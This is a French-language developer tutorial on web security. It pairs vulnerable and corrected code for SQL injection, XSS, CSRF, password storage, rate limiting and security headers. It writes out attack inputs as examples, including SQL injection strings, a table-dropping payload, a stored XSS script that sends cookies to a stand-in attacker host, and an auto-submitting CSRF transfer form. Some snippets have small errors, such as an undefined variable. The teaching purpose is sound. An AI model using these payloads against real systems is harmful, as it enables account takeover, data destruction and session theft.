Les bases de la cybersécurité pour les développeurs
XSS, CSRF, injection SQL, authentification — les vulnérabilités que vous introduisez sans le savoir, et comment les éliminer avec du code concret.
En 2021, une injection SQL sur un site de petites annonces français a exposé les données personnelles de 2,9 millions d'utilisateurs. La vulnérabilité ? Une concaténation de chaîne dans une requête SQL. Dix lignes de code défensif l'auraient évitée.
La sécurité n'est pas une couche qu'on ajoute après. Elle est dans chaque requête SQL, chaque affichage de donnée utilisateur, chaque formulaire. L'OWASP (Open Web Application Security Project) publie depuis 2003 le classement des dix vulnérabilités web les plus critiques. Trois d'entre elles reviennent systématiquement dans tous les projets, quelle que soit la stack : injection SQL, XSS, et CSRF. Une quatrième transverse : l'authentification défaillante.
Ce guide montre le code vulnérable, puis le code corrigé. Pas de théorie abstraite.
1. Injection SQL
L'attaque la plus ancienne, la plus documentée — et toujours dans le top des vulnérabilités exploitées.
Comment ça marche
// Un attaquant envoie : username = "' OR '1'='1"
app.post('/login', async (req, res) => {
const { username, password } = req.body
// Construction de requête par concaténation — DANGER
const query = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`
const user = await db.query(query)
})La requête résultante :
SELECT * FROM users
WHERE username = '' OR '1'='1'
AND password = 'nimporte_quoi''1'='1' est toujours vrai. Cette requête retourne tous les utilisateurs. L'attaquant est connecté sans connaître aucun mot de passe.
Variante destructrice — l'attaquant envoie '; DROP TABLE users; -- :
SELECT * FROM users WHERE username = ''; DROP TABLE users; --'La table users est supprimée.
La correction : requêtes préparées
app.post('/login', async (req, res) => {
const { username, password } = req.body
// Paramètres séparés de la requête — jamais interpolés
const query = 'SELECT * FROM users WHERE username = $1 AND password_hash = $2'
const user = await db.query(query, [username, hashedPassword])
})Avec une requête préparée, username est toujours traité comme une donnée, jamais comme du SQL. Le moteur de base de données parse la requête avant d'y injecter les paramètres — l'injection est structurellement impossible.
// Les ORMs paramétrisent automatiquement — préférez-les
const user = await prisma.user.findFirst({
where: { username: username }
})Règle absolue : jamais de concaténation de chaîne dans une requête SQL. Jamais. Pas d'exception, pas de "juste pour ce cas-là".
Injection de second ordre
Une forme avancée souvent oubliée : vous stockez proprement une donnée en base, mais vous la réutilisez plus tard en concaténation.
// À l'inscription — stocké proprement
await db.query('INSERT INTO users (username) VALUES ($1)', [username])
// Plus tard, dans une autre fonction mal écrite
const profile = await db.query(
`SELECT * FROM profiles WHERE username = '${user.username}'` // DANGER
)Le username vient de la base, pas directement de l'utilisateur — mais il peut contenir ' OR '1'='1 si quelqu'un l'a stocké pour l'exploiter plus tard. Paramétrisez toutes les requêtes, même celles qui lisent des données internes.
2. XSS — Cross-Site Scripting
L'injection SQL cible la base de données. XSS cible les autres utilisateurs de votre application.
Comment ça marche
Un attaquant injecte du JavaScript malveillant dans votre application. Ce script s'exécute dans le navigateur des autres utilisateurs — sous votre domaine, avec leurs cookies, leurs données.
XSS stocké — le plus dangereux :
// L'attaquant soumet ce commentaire :
// <script>fetch('https://attaquant.com/steal?c=' + document.cookie)</script>
// L'application stocke naïvement en base, puis affiche :
commentDiv.innerHTML = comment.content // DANGERChaque visiteur qui charge la page exécute ce script. Ses cookies — dont le token de session — sont exfiltrés vers le serveur de l'attaquant.
XSS réfléchi — via URL :
https://monsite.com/search?q=<script>alert(document.cookie)</script>Si votre application affiche "Résultats pour : <valeur du paramètre>" sans encodage, le script s'exécute.
XSS DOM-based — dans le JavaScript côté client :
// URL : https://monsite.com/#<img src=x onerror=alert(1)>
const hash = window.location.hash.slice(1)
document.getElementById('title').innerHTML = hash // DANGERLes corrections
Règle 1 : textContent au lieu de innerHTML
// innerHTML exécute le HTML, textContent l'encode
element.textContent = userInput // Safe
element.innerHTML = userInput // DANGERRègle 2 : échapper côté serveur
import he from 'he' // html-entities
const safeComment = he.encode(comment.content)
// <script>...</script> devient <script>...</script>Règle 3 : Content Security Policy
L'en-tête HTTP le plus efficace contre XSS. Il dit au navigateur quels scripts sont autorisés.
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{random}';
object-src 'none';
base-uri 'self';Avec script-src 'self', un script injecté par XSS n'aura pas le bon nonce et sera bloqué par le navigateur, même s'il passe l'encodage.
Règle 4 : httpOnly sur les cookies de session
Si un XSS passe quand même, httpOnly empêche JavaScript d'accéder aux cookies — l'attaquant ne peut pas voler le token de session.
res.cookie('session', token, {
httpOnly: true, // Inaccessible à document.cookie
secure: true,
sameSite: 'strict'
})En React / Vue / Angular : les frameworks encodent automatiquement les variables dans les templates ({variable} en JSX, {{ variable }} en Vue). La seule dangereuse est dangerouslySetInnerHTML (React) ou v-html (Vue) — à utiliser uniquement avec du contenu que vous contrôlez totalement.
3. CSRF — Cross-Site Request Forgery
CSRF exploite la confiance que votre application a envers le navigateur d'un utilisateur authentifié.
Comment ça marche
Votre utilisateur est connecté sur banque.fr. Un attaquant lui envoie un email avec un lien vers malveillant.com, qui contient :
<form action="https://banque.fr/virement" method="POST" id="form">
<input type="hidden" name="compte_destination" value="FR76...">
<input type="hidden" name="montant" value="5000">
</form>
<script>document.getElementById('form').submit()</script>Quand l'utilisateur visite malveillant.com, la page soumet automatiquement ce formulaire vers banque.fr. Le navigateur attache automatiquement les cookies de session de banque.fr. La banque reçoit une requête authentifiée — mais forgée.
CSRF ne vole pas les données. Il forge des actions au nom de l'utilisateur : changer son email, son mot de passe, effectuer des transactions.
Les corrections
Solution 1 : tokens CSRF
import crypto from 'crypto'
// À la génération du formulaire
const csrfToken = crypto.randomBytes(32).toString('hex')
req.session.csrfToken = csrfToken
// Dans le HTML du formulaire
// <input type="hidden" name="_csrf" value="<%= csrfToken %>">
// À la soumission
app.post('/virement', (req, res) => {
if (req.body._csrf !== req.session.csrfToken) {
return res.status(403).json({ error: 'Token CSRF invalide' })
}
// Traiter le virement
})L'attaquant ne connaît pas le token CSRF — il est unique par session et n'est pas accessible depuis un autre domaine.
Solution 2 : SameSite sur les cookies
res.cookie('session', token, {
sameSite: 'strict', // Cookie jamais envoyé sur requête cross-site
httpOnly: true,
secure: true
})SameSite: strict dit au navigateur de n'envoyer le cookie que pour les requêtes originant de votre propre domaine. La requête forgée depuis malveillant.com n'obtient pas le cookie — sans cookie, pas d'authentification.
SameSite: lax est un compromis — il bloque les requêtes POST cross-site mais laisse passer les navigations GET (liens). Correct pour la plupart des cas.
Solution 3 : vérifier l'en-tête Origin
app.use((req, res, next) => {
const origin = req.headers.origin || req.headers.referer
if (req.method !== 'GET' && origin && !origin.startsWith('https://monsite.fr')) {
return res.status(403).json({ error: 'Origine non autorisée' })
}
next()
})Les navigateurs n'envoient pas d'en-tête Origin falsifiable pour les requêtes cross-site simples.
Les APIs JSON sont moins vulnérables aux CSRF classiques — un formulaire HTML ne peut pas envoyer Content-Type: application/json, donc le serveur qui vérifie ce header est déjà protégé pour les requêtes JSON. Mais vérifiez quand même si vous acceptez du multipart/form-data.
4. Authentification : les erreurs qui ouvrent la porte
L'authentification défaillante est dans le top 3 de l'OWASP depuis des années. Voici les erreurs concrètes.
Mots de passe : ne jamais stocker en clair
// Stockage en clair — catastrophique en cas de fuite
await db.query('INSERT INTO users (password) VALUES ($1)', [password])
// MD5 ou SHA1 — aussi insuffisant (tables arc-en-ciel, GPU cracking)
const hash = crypto.createHash('md5').update(password).digest('hex')import bcrypt from 'bcrypt'
// À l'inscription
const hash = await bcrypt.hash(password, 12) // 12 = facteur de coût
await db.query('INSERT INTO users (password_hash) VALUES ($1)', [hash])
// À la connexion
const valid = await bcrypt.compare(password, user.password_hash)
if (!valid) return res.status(401).json({ error: 'Identifiants incorrects' })bcrypt ou Argon2 sont conçus pour être lents intentionnellement. Un hash MD5 se calcule en nanosecondes — un attaquant avec un GPU peut tester des milliards de mots de passe par seconde. Un hash bcrypt avec facteur 12 prend 250ms — le brute force devient impraticable.
Pour la gestion des tokens d'authentification côté API, JWT expliqué simplement couvre la mécanique complète des access et refresh tokens.
Brute force : rate limiting obligatoire
import rateLimit from 'express-rate-limit'
const authLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 10, // 10 tentatives maximum
message: { error: 'Trop de tentatives. Réessayez dans 15 minutes.' },
standardHeaders: true,
legacyHeaders: false,
})
app.post('/auth/login', authLimiter, loginHandler)
app.post('/auth/register', authLimiter, registerHandler)Sans rate limiting, un attaquant peut tester des milliers de mots de passe par seconde. fail2ban complète cette protection au niveau réseau.
Messages d'erreur — ne pas informer l'attaquant
// "Email non trouvé" → l'attaquant sait que cet email n'existe pas
// "Mot de passe incorrect" → l'attaquant sait que l'email existe
// Correct — message générique identique dans les deux cas
return res.status(401).json({
error: 'Email ou mot de passe incorrect'
})Et prenez le même temps de réponse dans les deux cas — une réponse plus rapide "email non trouvé" (pas de hash à vérifier) révèle l'information par timing.
// Vérifier le hash même si l'utilisateur n'existe pas
const dummyHash = '$2b$12$dummy.hash.to.prevent.timing.attacks'
const hash = user?.password_hash ?? dummyHash
await bcrypt.compare(password, hash)
if (!user || !valid) {
return res.status(401).json({ error: 'Email ou mot de passe incorrect' })
}Réinitialisation de mot de passe — le maillon faible
import crypto from 'crypto'
// Générer un token opaque, unique, à usage unique
const resetToken = crypto.randomBytes(32).toString('hex')
const expiresAt = new Date(Date.now() + 60 * 60 * 1000) // 1 heure
// Stocker le hash du token (pas le token lui-même)
const tokenHash = crypto.createHash('sha256').update(resetToken).digest('hex')
await db.query(
'INSERT INTO password_resets (user_id, token_hash, expires_at) VALUES ($1, $2, $3)',
[user.id, tokenHash, expiresAt]
)
// Envoyer le token brut par email
sendEmail(user.email, `https://monsite.fr/reset?token=${resetToken}`)const tokenHash = crypto.createHash('sha256').update(req.body.token).digest('hex')
const reset = await db.query(
'SELECT * FROM password_resets WHERE token_hash = $1 AND expires_at > NOW() AND used = false',
[tokenHash]
)
if (!reset.rows[0]) {
return res.status(400).json({ error: 'Token invalide ou expiré' })
}
// Invalider immédiatement après usage
await db.query('UPDATE password_resets SET used = true WHERE id = $1', [reset.rows[0].id])Erreurs classiques : stocker le token en clair (fuite de base → reset de tous les comptes), token sans expiration, token réutilisable.
5. En-têtes HTTP de sécurité
Souvent oubliés. Configurés une fois, ils protègent passivement contre plusieurs classes d'attaques.
import helmet from 'helmet'
app.use(helmet()) // Configure automatiquement les headers suivants :Ce que helmet active :
Strict-Transport-Security: max-age=31536000; includeSubDomains
→ Force HTTPS, même si l'utilisateur tape http://
X-Content-Type-Options: nosniff
→ Empêche le navigateur de deviner le Content-Type (protection MIME sniffing)
X-Frame-Options: DENY
→ Bloque l'intégration dans un iframe (protection clickjacking)
Content-Security-Policy: default-src 'self'
→ Limite les sources de scripts, styles, images
Referrer-Policy: no-referrer-when-downgrade
→ Contrôle ce qui est envoyé dans le header Referer
Permissions-Policy: camera=(), microphone=(), geolocation=()
→ Désactive les APIs navigateur non utilisées6. Dépendances : la surface d'attaque invisible
Votre code peut être parfait. Vos dépendances, peut-être pas.
# Auditer les vulnérabilités connues dans node_modules
npm audit
# Corriger automatiquement les vulnérabilités non-breaking
npm audit fix
# Versions fixes dans package.json — pas de ^ ou ~
# "express": "4.18.2" ← reproductible
# "express": "^4.18.2" ← met à jour à chaque npm install# GitHub Dependabot — dans .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "weekly"
open-pull-requests-limit: 5Activez Dependabot. Il ouvre automatiquement des PRs quand une dépendance a une CVE. Intégré à GitHub Actions pour automatiser les vérifications de sécurité dans votre pipeline CI.
7. Checklist sécurité par feature
Avant de merger une PR qui touche à l'authentification ou aux entrées utilisateur :
| Vérification | Status attendu |
|---|---|
| Requêtes SQL | Paramétrisées — aucune concaténation |
| Affichage de données utilisateur | textContent ou encodage HTML — jamais innerHTML brut |
| Cookies de session | httpOnly; secure; sameSite=strict |
| Tokens CSRF | Présents sur tous les formulaires POST |
| Mots de passe | bcrypt/Argon2 avec facteur ≥ 12 |
| Rate limiting | Sur /login, /register, /reset |
| Messages d'erreur | Génériques — ne révèlent pas l'existence du compte |
| En-têtes HTTP | helmet ou équivalent activé |
| Dépendances | npm audit sans vulnérabilités critiques |
| CSP | Content-Security-Policy défini |
La sécurité est rarement une question de techniques sophistiquées. Les failles les plus courantes viennent de patterns simples — concaténation de chaîne, innerHTML, cookies sans flags. Corriger ces patterns une fois suffit. Les oublier une seule fois peut suffire à une compromission.
Les données que vous traitez appartiennent à vos utilisateurs. En France et en Europe, une fuite de données non déclarée à la CNIL sous 72h engage votre responsabilité — le RGPD et ses implications pour les développeurs méritent une lecture séparée.
Pour appliquer ces principes directement à une API — JWT, rate limiting, CORS, validation Zod, headers Helmet — sécuriser une API REST est le guide pratique qui complète ce tour d'horizon.